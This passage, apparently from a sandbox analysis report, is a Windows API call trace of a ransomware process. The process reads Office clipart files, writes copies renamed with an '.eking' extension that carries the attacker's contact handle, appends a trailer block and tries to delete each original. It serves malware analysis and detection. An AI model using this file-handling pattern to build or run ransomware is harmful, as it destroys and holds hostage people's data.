lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0271.854] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=6780) returned 1 [0271.854] CloseHandle (hObject=0x3a8) returned 1 [0271.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 0x220 [0271.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 0x220 [0271.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0271.871] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.871] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x368 [0271.880] ReadFile (in: hFile=0x3a8, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1a7c, lpOverlapped=0x0) returned 1 [0271.882] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1a80, lpOverlapped=0x0) returned 1 [0271.884] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0271.885] CloseHandle (hObject=0x3a8) returned 1 [0271.885] CloseHandle (hObject=0x368) returned 1 [0271.885] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 0 [0271.885] SetEvent (hEvent=0x2b8) returned 1 [0271.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0271.888] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=736) returned 1 [0271.888] CloseHandle (hObject=0x368) returned 1 [0271.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 0x220 [0271.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 0x220 [0271.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.889] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0271.889] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.889] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a8 [0271.891] ReadFile (in: hFile=0x368, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x2e0, lpOverlapped=0x0) returned 1 [0271.893] WriteFile (in: hFile=0x3a8, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x2f0, lpOverlapped=0x0) returned 1 [0271.894] WriteFile (in: hFile=0x3a8, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0271.894] CloseHandle (hObject=0x368) returned 1 [0271.895] CloseHandle (hObject=0x3a8) returned 1 [0271.895] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 0 [0271.895] SetEvent (hEvent=0x2b8) returned 1 [0271.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0271.896] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=17308) returned 1 [0271.896] CloseHandle (hObject=0x3a8) returned 1 [0271.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 0x220 [0271.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 0x220 [0271.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0271.897] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.897] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x368 [0271.899] ReadFile (in: hFile=0x3a8, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x439c, lpOverlapped=0x0) returned 1 [0271.902] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x43a0, lpOverlapped=0x0) returned 1 [0271.905] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0271.905] CloseHandle (hObject=0x3a8) returned 1 [0271.905] CloseHandle (hObject=0x368) returned 1 [0271.906] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 0 [0271.906] SetEvent (hEvent=0x2b8) returned 1 [0271.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0271.908] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=7944) returned 1 [0271.908] CloseHandle (hObject=0x368) returned 1 [0271.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 0x220 [0271.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 0x220 [0271.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.290] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0272.290] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0272.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a8 [0272.291] ReadFile (in: hFile=0x368, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1f08, lpOverlapped=0x0) returned 1 [0272.301] WriteFile (in: hFile=0x3a8, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1f10, lpOverlapped=0x0) returned 1 [0272.302] WriteFile (in: hFile=0x3a8, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0272.307] CloseHandle (hObject=0x368) returned 1 [0272.307] CloseHandle (hObject=0x3a8) returned 1 [0272.308] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 0 [0272.308] SetEvent (hEvent=0x2b8) returned 1 [0272.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0272.310] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=17850) returned 1 [0272.310] CloseHandle (hObject=0x3a8) returned 1 [0272.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x220 [0272.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x220 [0272.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0272.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0272.312] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0272.312] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0272.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x368 [0272.316] ReadFile (in: hFile=0x3a8, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x45ba, lpOverlapped=0x0) returned 1 [0272.321] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x45c0, lpOverlapped=0x0) returned 1 [0272.323] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0272.323] CloseHandle (hObject=0x3a8) returned 1 [0272.324] CloseHandle (hObject=0x368) returned 1 [0272.324] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 0 [0272.324] SetEvent (hEvent=0x2b8) returned 1 [0272.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.325] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=11994) returned 1 [0272.326] CloseHandle (hObject=0x368) returned 1 [0272.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x220 [0272.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x220 [0272.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0272.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.326] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0272.326] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0272.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a8 [0272.345] ReadFile (in: hFile=0x368, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x2eda, lpOverlapped=0x0) returned 1 [0272.348] WriteFile (in: hFile=0x3a8, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x2ee0, lpOverlapped=0x0) returned 1 [0272.350] WriteFile (in: hFile=0x3a8, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0272.350] CloseHandle (hObject=0x368) returned 1 [0272.351] CloseHandle (hObject=0x3a8) returned 1 [0272.356] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 0 [0272.582] SetEvent (hEvent=0x2b8) returned 1 [0272.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0272.585] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=37390) returned 1 [0272.585] CloseHandle (hObject=0x394) returned 1 [0272.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x220 [0272.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x220 [0272.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0272.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0272.586] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0272.586] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0272.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b0 [0272.591] ReadFile (in: hFile=0x394, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x920e, lpOverlapped=0x0) returned 1 [0272.595] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x9210, lpOverlapped=0x0) returned 1 [0272.598] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0272.598] CloseHandle (hObject=0x394) returned 1 [0272.598] CloseHandle (hObject=0x3b0) returned 1 [0272.599] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 0 [0272.599] SetEvent (hEvent=0x2b8) returned 1 [0272.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0272.601] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=15856) returned 1 [0272.601] CloseHandle (hObject=0x3b0) returned 1 [0272.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x220 [0272.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft 